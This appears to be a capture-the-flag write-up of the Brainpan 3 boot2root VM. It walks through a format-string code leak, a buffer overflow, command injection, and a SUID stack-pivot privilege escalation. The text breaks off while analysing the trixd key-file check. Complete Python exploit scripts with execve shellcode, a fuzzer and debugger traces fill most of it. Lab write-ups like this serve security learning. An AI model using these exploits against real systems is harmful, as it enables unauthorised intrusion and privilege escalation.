Brainpan 3 – The write up

  __ )    _ \      \    _ _|   \  |   _ \    \      \  |     _ _| _ _| _ _| 
  __ \   |   |    _ \     |     \ |  |   |  _ \      \ |       |    |    |  
  |   |  __ <    ___ \    |   |\  |  ___/  ___ \   |\  |       |    |    |  
 ____/  _| \_\ _/    _\ ___| _| \_| _|   _/    _\ _| \_|     ___| ___| ___|

                                                            by superkojiman
                                                            techorganic.com

Intro

Recently Superkojiman released version 3 of the Brainpan boot2root series, this VM is mainly focused on binary exploitation.

Brainpan console

Once the VM is fully booted we do a port scan using nmap. This shows us 1 open port 1337 and a closed(firewalled) port 8080, Once we connect to the port 1337 we are presented with a login screen for the brainpan console.

brainpan3login

According to the text on the screen we have to deal with a 4 digit code and after 3 failing attempts a new code would be created, so it’s very unlikely that we could bruteforce it. The first thing that came to my mind is that it could be a format string vulnerability and a quick test showed that this indeed was the case.

ACCESS CODE: %p%p%p
ERROR #1: INVALID ACCESS CODE: 0xbfa0b01c(nil)0x11f9

When using a format string pattern for decimals we could spot the login code 4601 in the output located on position 3

ACCESS CODE: %d-%d-%d-%d-%d-%d-%d 
ERROR #1: INVALID ACCESS CODE: -1079988196-0-4601--1079988196-0-10-495804160

We can shorten our format string pattern to %3$d to directly retrieve the current login code

ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 4601

We login to the brainpan console using the code and are presented with a menu showing us a few options and which permissions are set such as AUTH, REPORT and MENU

--------------------------------------------------------------
SESSION: ID-5102
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: 

The most interesting options are 1,2 and 3.. 4 is obviously a troll. Using option 1 the console tells us that the report feature is disabled for this build, option 2 tells us the repository is now available and option 3 allows us to change our session name. It seems this option has a format string and buffer overflow vulnerability.

The repository option reminded me of the closed port at 8080, a quick re-scan shows that the port is now open and when we browse to it we are presented with a simple web page. I started a directory bruteforce which revealed the folder called “repo” which had 5 files in it.

Directory listing for /repo/

    bofh
    how-to-pwn-brainpan.jpg
    README.txt
    report
    shell 

The file called report caught my attention since we also have this report option in the brainpan console. I downloaded the file and started to analyze it.

Analyzing report

When running the executable on our local machine it show us its options

h4x@kali:~/bp3$ ./report
./report  [0|1]

When supplying the desired arguments(report data and 1 or 0) we get a big charlie brown banner, I don’t know the guy but I bet hes a nice guy..

h4x@kali:~/bp3$ ./report aa 0
               ____
           .-'&    '-.
          / __    __  \
         :-(__)--(__)--;
        (      (_       )
         :             ;
          \    __     /
           `-._____.-'
             /`"""`\
            /    ,  \
           /|/\/\/\ _\
          (_|/\/\/\\__)
            |_______|
           __)_ |_ (__
          (_____|_____)

       YOU'RE IN THE MATRIX
           CHARLIE BROWN

Time to reverse engineer the executable to see what’s going on..

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  int bdoenc; // ST14_4@3
  int v5; // ecx@7
  char buf[100]; // [sp+18h] [bp-68h]@3
  int canarie; // [sp+7Ch] [bp-4h]@1

  canarie = *MK_FP(__GS__, 20);
  if ( argc > 2 )
  {
    cb();
    /*
    - Copy the report data from argunent 1(report)
      to 'buf', this could lead to a buffer overflow.
    - convert argument 2(0 or 1) to a integer and 
      assign to 'bdoenc'
    */
    strcpy(buf, argv[1]);
    bdoenc = atoi(argv[2]);
    /*
    Make REPORT(.bss section) data executable(thx superkojiman) using
    mprotect.
    */
    P = REPORT;
    N = (-sysconf(30) & REPORT);
    mprotect(N, 500u, 7);
    /*
    Choose execution path based on 'bdoenc'
    */
    if ( bdoenc )
    {
      sanitize(buf);
      encrypt(buf);
      record_data(buf);
    }
    else
    {
      record_data(buf);
      record_id(buf);
    }
    printf("[+] RECORDED [%s]\n", buf);
    result = 0;
  }
  else
  {
    printf("%s <report> [0|1]\n", *argv);
    result = 0;
  }
  v5 = *MK_FP(__GS__, 20) ^ canarie;
  return result;
}

int __cdecl sanitize(char *buf)
{
  size_t i; // [sp+18h] [bp-10h]@1
  int v3; // [sp+1Ch] [bp-Ch]@1

  v3 = 0;
  for ( i = 0; i < strlen(buf); ++i )
  {
    if ( !isalpha(buf[i]) )
    {
      buf[i] = '?';
      ++v3;
    }
  }
  return v3;
}


size_t __cdecl encrypt(char *buf)
{
  unsigned int dwseed; // eax@1
  size_t result; // eax@3
  size_t i; // [sp+18h] [bp-10h]@1
  int key; // [sp+1Ch] [bp-Ch]@1

  dwseed = time(0);
  srand(dwseed);
  key = rand() % 9000 + 1000;
  for ( i = 0; ; ++i )
  {
    result = strlen(buf);
    if ( i >= result )
      break;
    buf[i] ^= key;
  }
  return result;
}

void __cdecl record_data(const char *buf)
{
  char *p; // eax@1
  int v2; // ebx@1
  time_t timer; // [sp+2Ch] [bp-5Ch]@1
  FILE *fsOut; // [sp+30h] [bp-58h]@1
  struct tm *timestamp; // [sp+34h] [bp-54h]@1
  char tsstring[26]; // [sp+3Ah] [bp-4Eh]@1
  char reportFilename[40]; // [sp+54h] [bp-34h]@1
  int canary; // [sp+7Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  fsOut = 0;
  time(&timer);
  timestamp = localtime(&timer);
  strftime(tsstring, 26u, "%Y%m%d%H%M%S", timestamp);
  memset(reportFilename, 0, 40u);
  strcpy(reportFilename, "/home/anansi/REPORTS/");
  strcat(reportFilename, tsstring);
  p = &reportFilename[strlen(reportFilename)];
  *p = 'per.';
  p[4] = 0;
  printf("[+] WRITING REPORT TO %s\n", reportFilename);
  fsOut = fopen(reportFilename, "w");
  fputs(buf, fsOut);
  fclose(fsOut);
  /*
  Copy 100 bytes of the buf to REPORT
  */
  strncpy(REPORT, buf, 100u);
  feedback();
  v2 = *MK_FP(__GS__, 20) ^ canary;
}

int __cdecl record_id(char *buf)
{
  char dest[3]; // [sp+19h] [bp-Fh]@1
  void (*pfeedback)(void); // [sp+1Ch] [bp-Ch]@1

  pfeedback = feedback;
  /*
  strcpy overflows the dest buffer allowing
  to control the pfeedback pointer
  */
  strcpy(dest, buf);
  pfeedback();
  return atoi(dest);
}

void feedback(void)
{
  puts("[+] DATA SUCCESSFULLY ENCRYPTED");
  puts("[+] DATA SUCCESSFULLY RECORDED");
}

So the code starts with a check if the local hostname is brainpain3, assuming it is(I nopped the call cb), it copies the report data to buf and makes the REPORT data executable using mprotect. After that it checks the 2nd argument.

1: data in buf would be filtered using the sanitize function and then encrypted and finally stored using the record_data function which stores the data into a file and copies the first 100 bytes to REPORT.
0: data would directly be stored without any filtering or encryption and a additional function record_id is called, Now this is a interesting function..

When looking at the record_id function we can see it assigns a function pointer to pfeedback and then copies the content of buf into dest, now since dest only can hold up to 3 bytes we can overflow it and control the pfeedback pointer which is executed next after the strcpy resulting in code execution.

Testing this using a debugger gives us the expected result
poc1

 

So let’s summarize:
Since our first 100 bytes is stored at a executable location(REPORT) and we can control a function pointer(pfeedback) we could store some shellcode in REPORT and then make the pfeedback pointer point to our shellcode.

The address of REPORT can be looked up in IDA:

.bss:0804B0A0                 public REPORT
.bss:0804B0A0 ; char REPORT[500]
.bss:0804B0A0 REPORT          db 1F4h dup(?)          ; DATA XREF: record_data+131
.bss:0804B0A0                                         ; main+7D

The exploit buffer could look something like:
AAA<REPORT_address+7><shellcode>

Note that we have to add 7 to the REPORT address to get past the 3 A’s and the 4 bytes of the function pointer.

 

POC

#!/usr/bin/env python
import struct
import sys

# .bss:0804B0A0                 public REPORT
# .bss:0804B0A0 ; char REPORT[500]
# .bss:0804B0A0 REPORT          db 1F4h dup(?)          ; DATA XREF: record_data+131
# .bss:0804B0A0  

# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
__REPORT = 0x0804B0A0

def p(v):
	return struct.pack('<L', v)

payload  = 'AAA'
payload += p(__REPORT + 7)
payload += shellcode

print payload + ' 0'

And executing the poc spawns a shell as expected

h4x@kali:~/bp3$ ./report $(./report_local.py)
[+] WRITING REPORT TO /home/anansi/REPORTS/20150912020038.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
$ id
uid=1000(h4x) gid=1001(h4x) groups=1001(h4x),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),108(bluetooth),112(netdev),125(powerdev)
$

brainpan console – report feature

Now if you remember we currently cannot create reports from within the brainpan console since report feature is disabled so we must enable it, now this is where the buffer overflow in the “update session name” option(3) comes into play.

By overflowing the session name buffer we can control the values in:

  AUTH   [Y]    REPORT [N]    MENU   [Y] 

And by setting REPORT [N] to Y we would enable the report feature. A little fuzzer script helps us to find the correct length till we overwrite the N

#!/usr/bin/env python
from select import select
from socket import *
from time import sleep
import telnetlib
import sys
import struct
import re

class NetcatClient:
	def __init__(self, host, port):
		"""
		Netcat Class init.
		"""
		self.host = host
		self.port = int(port)
		self.delay = 0.05
		self.linemode = False
		self.sock = socket(AF_INET, SOCK_STREAM)

	# private functions
	def __check_state(self, timeout=0):
		"""
		Check the socket it's read, write and exception state 
		using select
		"""
		# we need abit of a delay to keep things
		# running smooth
		sleep(self.delay)
		return select([self.sock], [self.sock], [self.sock], timeout)

	# core functions
	def connect(self):
		"""
		Connect to host
		"""
		try:
			self.sock.connect((self.host, self.port))
			return True
		except error as e:
			print 'NetcatClassError:', e
			return False

	def close(self):
		"""
		Close the connection
		"""
		try:
			self.sock.close()
		except error as e:
			print 'NetcatClassError:', e

	def recv(self, size=4096):
		"""
		Recieve all data
		"""
		try:
			data = ''
			readable, writable, exceptional = self.__check_state()
			if readable:
				# while socket readable...
				while readable:
					# collect all data
					data += self.sock.recv(size)
					# re-check socket's state
					readable, writable, exceptional = self.__check_state()
			return data
		except error as e:
			print 'NetcatClassError:', e

	def send(self, data):
		"""
		Send data
		"""
		if self.linemode:
			data += '\n'
		try:
			readable, writable, exceptional = self.__check_state()
			if writable:
				self.sock.send(data)
		except error as e:
			print 'NetcatClassError:', e

	def sendrecv(self, data):
		"""
		Send and recieve data
		"""
		self.send( data )
		return self.recv()

	def interact(self):
		"""
		Interactive telnet client
		"""
		try:
			t = telnetlib.Telnet()
			t.sock = self.sock
			t.interact()
			t.close()
		except KeyboardInterrupt:
			self.close()

if __name__ == '__main__':
	# fuzzing code
	s = NetcatClient('192.168.178.22', '1337')
	s.linemode = True
	s.connect()
	# banner
	s.recv()
	# send format string pattern and grab the login code
	r = s.sendrecv('%3$d')
	# parse the login code from the reponse
	l = re.findall(r"INVALID ACCESS CODE: (.*?)\n", r)
	print 'login code -> ', l
	# send login code and log in
	s.sendrecv('%s'%(l[0]))

	# send change sessionname commands
	# with length of 0 ... 255
	for i in range(256):
		s.sendrecv('3')
		resp = s.sendrecv(i * 'Y')
		l = re.findall(r"REPORT \[(.*?)\]", resp)
		print i,'->',l
		# if value changed to Y break
		if 'Y' in l[0]:
			print 'payload -> %d * Y' % (i)
			break

	s.close()

Running the fuzzer results in:

h4x@kali:~/bp3$ ./test.py 
login code ->  ['3537']
0 -> ['N']
...
250 -> ['N']
251 -> ['\x00']
252 -> ['\x00']
253 -> ['Y']
payload -> 253 * Y

So by setting the session name to 253 Y chars we change the REPORT feature status from N to Y effectively enabling the report feature.

ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: 

When testing the option we can now see its indeed enabled…

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20150911214757.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii]

Almost there…

So now we can create reports from within the brainpan console and trigger the vulnerable code in the report executable, or cant we?
Well, it seems that the brainpan console executes the report executable with the 1 option and in order to trigger the vulnerable code in record_id it would need to be executed with the 0 option. I got a bit stuck here and reached out for barrebas for a hint and he kinda told me to play some more with the report buffer.

When we insert a double quote in our report data a interesting error appears

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

aaa"

REPORT [aaa"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

sh: 1: Syntax error: Unterminated quoted string

It seems that our double quote caused a error when the report commandline got executed, to be more precise a part of a string left unquoted but more interesting is that it seems we can do command injection using our report data.

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

";id;"

REPORT [";id;"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE

/var/www/repo/report  [0|1]
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found

And we can also insert a 0 into the commandline to trigger the vulnerable code in record_id

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0 #

REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0 #" "0"#]
SENDING TO REPORT MODULE

Segmentation fault (core dumped)

Exploit

So in order to exploit this we need to:
– Grab the login code and log in
– Enable the REPORT feature
– Send our payload report including the 0 option
– Get a shell?

The following code automates this whole process:

#!/usr/bin/env python
from select import select
from socket import *
from time import sleep
import telnetlib, sys, re, struct


class NetcatClass:
	def __init__(self, host, port):
		"""
		Netcat Class init.
		"""
		self.host = host
		self.port = int(port)
		self.delay = 0.05
		self.linemode = False
		self.sock = socket(AF_INET, SOCK_STREAM)

	# private functions
	def __check_state(self, timeout=0):
		"""
		Check the socket it's read, write and exception state 
		using select
		"""
		# we need abit of a delay to keep things
		# running smooth
		sleep(self.delay)
		return select([self.sock], [self.sock], [self.sock], timeout)

	# core functions
	def connect(self):
		"""
		Connect to host
		"""
		try:
			self.sock.connect((self.host, self.port))
			return True
		except error as e:
			print 'NetcatClassError:', e
			return False

	def close(self):
		"""
		Close the connection
		"""
		try:
			self.sock.close()
		except error as e:
			print 'NetcatClassError:', e

	def recv(self, size=4096):
		"""
		Recieve all data
		"""
		try:
			data = ''
			readable, writable, exceptional = self.__check_state()
			if readable:
				# while socket readable...
				while readable:
					# collect all data
					data += self.sock.recv(size)
					# re-check socket's state
					readable, writable, exceptional = self.__check_state()
			return data
		except error as e:
			print 'NetcatClassError:', e

	def send(self, data):
		"""
		Send data
		"""
		try:
			readable, writable, exceptional = self.__check_state()
			if writable:
				if self.linemode:
					data += '\n'
				self.sock.sendall(data)
		except error as e:
			print 'NetcatClassError:', e

	def sendrecv(self, data):
		"""
		Send and recieve data
		"""
		self.send(data)
		return self.recv()

	def interact(self):
		"""
		Interactive telnet client
		"""
		try:
			t = telnetlib.Telnet()
			t.sock = self.sock
			t.interact()
			t.close()
		except KeyboardInterrupt:
			self.close()


def p(v):
	return struct.pack('<L', v)

def exploit(host, port):
	# connect
	s = NetcatClass(host, port)
	# make all sends being treathed as line's eq. add a \n
	s.linemode = True
	s.connect()
	# recieve banner
	s.recv()
	# send formatstring pattern and read response containing access code	
	print '[+] Leak access code'
	acccode = re.findall(r"INVALID ACCESS CODE: (.*?)\n", s.sendrecv('%3$d'))
	if not acccode:
		print '[!] Failed to get access code!'
		s.close()
		exit()	
	print '[+] Access code leaked: {}'.format(acccode[0])
	# send access code
	s.sendrecv(acccode[0])
	# enable report feature
	print '[+] Enabling report feature'
	s.sendrecv('3')
	s.sendrecv(253 * 'Y')
	# create payload
	# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
	# http://shell-storm.org/shellcode/files/shellcode-752.php
	shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
	# .bss:0804B0A0 ; char REPORT[500]
	# strncpy(REPORT, buf, 100u);
	__bss_REPORT = 0x0804B0A0
	# construct payload report	
	payload  = "AAA"
	payload += p(__bss_REPORT + 7)
	payload += shellcode
	# inject double qoute and a 0 to trigger
	# the vulnerable code in record_id
	payload += '" 0 #'
	# send payload report
	print '[+] Sending payload report'
	s.sendrecv('1')
	s.sendrecv( payload )
	# interactive shell?
	print '[+] Dropping into shell'
	s.send('python -c "import pty;pty.spawn(\'/bin/bash\')"')
	s.interact()

if __name__ == '__main__':
	exploit('192.168.178.22', '1337')

And finally executing the exploit gives as a shell for the anansi user.

h4x@kali:~/bp3$ ./report.py 
[+] Leak access code
[+] Access code leaked: 5869
[+] Enabling report feature
[+] Sending payload report
[+] Dropping into shell
anansi@brainpan3:/$ 

reynard

While looking around on the box I noticed the reynard folder is readable and within the “/private/” folder it has a SUID executable and a encrypted file

anansi@brainpan3:/$ ls -lah /home/reynard/private
ls -lah /home/reynard/private
total 20K
drwxrwx--- 2 reynard webdev  4.0K Jun 10 23:12 .
drwxr-xr-x 3 reynard reynard 4.0K Jun 10 22:30 ..
-rwsr-xr-x 1 reynard reynard 5.5K May 19 18:28 cryptor
-r-------- 1 reynard reynard   77 May 21 10:42 sekret.txt.enc

anansi@brainpan3:/home/reynard/private$ ./cryptor
./cryptor
Usage: ./cryptor file key

I copied both files to my local machine and started to analyze the cryptor executable

signed int __cdecl main(signed int argc, char **argv)
{
  signed int result; // eax@2

  if ( argc > 2 )
  {
    cryptFile(argv[1], argv[2]);
    result = 0;
  }
  else
  {
    printf("Usage: %s file key\n", *argv);
    result = 1;
  }
  return result;
}

int __cdecl cryptFile(char *pFilename, char *pKey)
{
  char *p; // eax@4
  int dkey; // eax@6
  char pOutFilename[100]; // [sp+Ch] [bp-78h]@1
  int DataByte; // [sp+70h] [bp-14h]@6 MAPDST
  FILE *fsin; // [sp+74h] [bp-10h]@5
  FILE *fsout; // [sp+78h] [bp-Ch]@4

  /*
  Zero buffers key and pOutFilename, each 100 bytes in size
  .bss:0804A080 ; char key[100]
  .bss:0804A080 key             db 64h dup(?)           ; DATA XREF: cryptFile+18
  */
  memset(key, 0, 100u);
  memset(pOutFilename, 0, 100u);
  /*
  very strange check...
  buffer overflow in pOutFilename when the
  length of pFilename > 100 and <= 116 bytes
  */
  if ( strlen(pFilename) <= 116 )
    strcpy(pOutFilename, pFilename);
  else
    strncpy(pOutFilename, pFilename, 90u);
  /*
  add filename extension(.enc) and truncate
  */
  p = &pOutFilename[strlen(pOutFilename)];
  *p = 'cne.';
  p[4] = 0;
  printf("[+] saving to %s\n", pOutFilename);
  /*
  copy pKey to global key buffer
  */
  strcpy(key, pKey);
  /*
  Encrypt data using the key and write to file
  */
  fsout = fopen(pFilename, "r");
  if ( fsout )
  {
    for ( fsin = fopen(pOutFilename, "w"); ; fputc(dkey ^ DataByte, fsin) )
    {
      DataByte = fgetc(fsout);
      if ( DataByte == -1 )
        break;
      DataByte = DataByte;
      dkey = atoi(pKey);
    }
    fclose(fsin);
    fclose(fsout);
  }
  return 0;
}

Starting from the main function we can see it passes the 2 arguments filename and key to the cryptFile function. Within this function it does a weird length check on the given filename, if the length is less or 116 chars it copies the full filename into the 100 bytes pOutFilename buffer resulting in a 16 bytes overflow. Now this is not enough to overflow the return address of this function.

stack layout
-00000078 pOutFile        db 100 dup(?)
-00000014 DataByte        dd ?
-00000010 fsin            dd ?                    ; offset
-0000000C fsout           dd ?                    ; offset
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 pFile           dd ?                    ; offset
+0000000C pKey            dd ?                    ; offset

But the interesting thing happens when we return from cryptFile and leave the main function. Since the main function exits with a leave instruction..

.text:08048786                 call    cryptFile
.text:0804878B                 mov     eax, 0
.text:08048790
.text:08048790 locret_8048790:                         ; CODE XREF: main+26
.text:08048790                 leave
.text:08048791                 retn

A leave instruction does the same as:

mov esp, ebp
pop ebp

Which effectively restores the stack pointer, now when we place a breakpoint on the leave instruction and start the executable with a 116 chars filename we can see what happens

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0xbffff400 ('A' )
ESP: 0xbffff480 --> 0xbffff69c ('A' )
EIP: 0x8048790 (leave)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048783:	mov    DWORD PTR [esp],eax
   0x8048786:	call   0x80485ed
   0x804878b:	mov    eax,0x0
=> 0x8048790:	leave  
   0x8048791:	ret    
   0x8048792:	xchg   ax,ax
   0x8048794:	xchg   ax,ax
   0x8048796:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff480 --> 0xbffff69c ('A' )
0004| 0xbffff484 --> 0xbffff711 --> 0x53530041 ('A')
0008| 0xbffff488 --> 0xbffff508 --> 0x0 
0012| 0xbffff48c --> 0xb7e6fe46 (:	mov    DWORD PTR [esp],eax)
0016| 0xbffff490 --> 0x3 
0020| 0xbffff494 --> 0xbffff534 --> 0xbffff686 ("/home/h4x/bp3/cryptor")
0024| 0xbffff498 --> 0xbffff544 --> 0xbffff713 ("SSH_AGENT_PID=4019")
0028| 0xbffff49c --> 0xb7fdd860 --> 0xb7e59000 --> 0x464c457f 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048790 in ?? ()

EBP(0xbffff400) points to our filename buffer and when executing the leave instruction that becomes ESP

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff404 ('A' )
EIP: 0x8048791 (ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048786:	call   0x80485ed
   0x804878b:	mov    eax,0x0
   0x8048790:	leave  
=> 0x8048791:	ret    
   0x8048792:	xchg   ax,ax
   0x8048794:	xchg   ax,ax
   0x8048796:	xchg   ax,ax
   0x8048798:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff404 ('A' )
0004| 0xbffff408 ('A' )
0008| 0xbffff40c ('A' )
0012| 0xbffff410 ('A' )
0016| 0xbffff414 ('A' )
0020| 0xbffff418 ('A' )
0024| 0xbffff41c ('A' )
0028| 0xbffff420 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048791 in ?? ()

And finally

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0 
EDX: 0xfffff000 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff408 ('A' )
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff408 ('A' )
0004| 0xbffff40c ('A' )
0008| 0xbffff410 ('A' )
0012| 0xbffff414 ('A' )
0016| 0xbffff418 ('A' )
0020| 0xbffff41c ('A' )
0024| 0xbffff420 ('A' )
0028| 0xbffff424 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41414141 in ?? ()

So how are we gonna exploit this? well remember the key being stored in a global buffer, it seems that cryptor is compiled with executable stack and memory so we could place our shellcode in the key buffer and use in the filename buffer overflow to execute that shellcode by returning to it.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Exploit

#!/usr/bin/env python
import struct

def p(v):
	return struct.pack('<L', v)

# ./cryptor $(python cryptthis.py)
shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
# overflow the 'pOutFile' buffer(argument 1) with
# the address of 'key'
# char pOutFile[100]; // [sp+Ch] [bp-78h]@1
argFile = 29 * p(__bss_key) # 29 * 4 = 116 bytes
# store shellcode in 'key'(argument 2)
# .bss:0804A080 ; char key[100]
argKey = shellcode
print argFile + ' ' + argKey

When executing the exploit it not always works, just execute it a few times till it does

h4x@kali:~/bp3$ ./cryptor $(python cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
Segmentation fault
h4x@kali:~/bp3$ ./cryptor $(python cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
$ whoami
h4x
$

And on the brainpan box

anansi@brainpan3:/home/reynard/private$ ./cryptor $(/tmp/cryptthis.py)
./cryptor $(/tmp/cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
Segmentation fault (core dumped)
anansi@brainpan3:/home/reynard/private$ ./cryptor $(/tmp/cryptthis.py)
./cryptor $(/tmp/cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
$ whoami
whoami
reynard
$ 

Puck
It took me a bit to figure out how to escalate to puck, when I did a netstat I noticed a service listing local on port 7075 and when connecting to it I was presented with the following text

$ nc 127.0.0.1 7075
nc 127.0.0.1 7075
open: No such file or directory
Incorrect key

After some more searching I found the trixd executable related to this service in the /usr/local/sbin folder

$ ls -lah /usr/local/sbin/
ls -lah /usr/local/sbin/
total 40K
drwxr-xr-x  2 root root 4.0K May 26 18:38 .
drwxr-xr-x 10 root root 4.0K May 19 18:06 ..
-rwxr-xr-x  1 root root  17K May 26 18:38 brainpan3
-rwxr-xr-x  1 root root 7.5K May 20 10:18 trixd
-rwxr-xr-x  1 root root  343 May 21 11:38 www

I copied the file to my local machine to analyze it

int checkKeyfile()
{
  int fd1; // eax@3 MAPDST
  int fd2; // eax@4 MAPDST
  int res; // ebx@5
  int v6; // [sp+10h] [bp-A8h]@0
  struct timeval stimeval; // [sp+24h] [bp-94h]@2
  struct stat sstat; // [sp+2Ch] [bp-8Ch]@2
  char pkey1[20]; // [sp+84h] [bp-34h]@2
  char pkey2[20]; // [sp+98h] [bp-20h]@2
  int v11; // [sp+ACh] [bp-Ch]@1

  v11 = v14;
  /*
  Anti debug code
  */
  if ( ptrace(0, 0, 1, 0, v6) < 0 )
  {
    res = -1;
  }
  else
  {
    setbuf(stdout, 0);
    stimeval.tv_usec = 1;
    memset(pkey1, 0, 20);
    memset(pkey2, 0, 20);
    /*
    check if the "/mnt/usb/key.txt" isn't a symbolic link
    */
    _lxstat(3, "/mnt/usb/key.txt", &sstat);
    if ( (sstat.st_mode & 0xF000) == C_ISLNK )
    {
      res = -1;
      puts("Key file is compromised.");
    }
    else
    {
      /*
      Do a little sleep...
      */
      select(1, 0, 0, 0, &stimeval);
      /*
      Open puck's keyfile and read its content
      */
      fd1 = open("/home/puck/key.txt", 0);
      if ( fd1 < 0 )
        perror("open");
      read(fd1, pkey1, 19u);
      /*
      Open the "/mnt/usb/key.txt" keyfile and read it's content
      */
      fd2 = open("/mnt/usb/key.txt", 0);
      if ( fd2 < 0 )
        perror("open");
      read(fd2, pkey2, 19u);
      /*
      Compare both keys and execute a shell when they match
      */
      res = strcmp(pkey2, pkey1);
      if ( res )
      {
        res = 0;
        puts("Incorrect key");
      }
      else
      {
        puts("Authentication successful");
        system("/bin/sh");
      }
    }
  }
  return res;
}

The “/mnt/usb/” folder is writable by reynard

131707    4 drwxrwx---   2 reynard  dev          4096 Aug  2 15:54 /mnt/usb

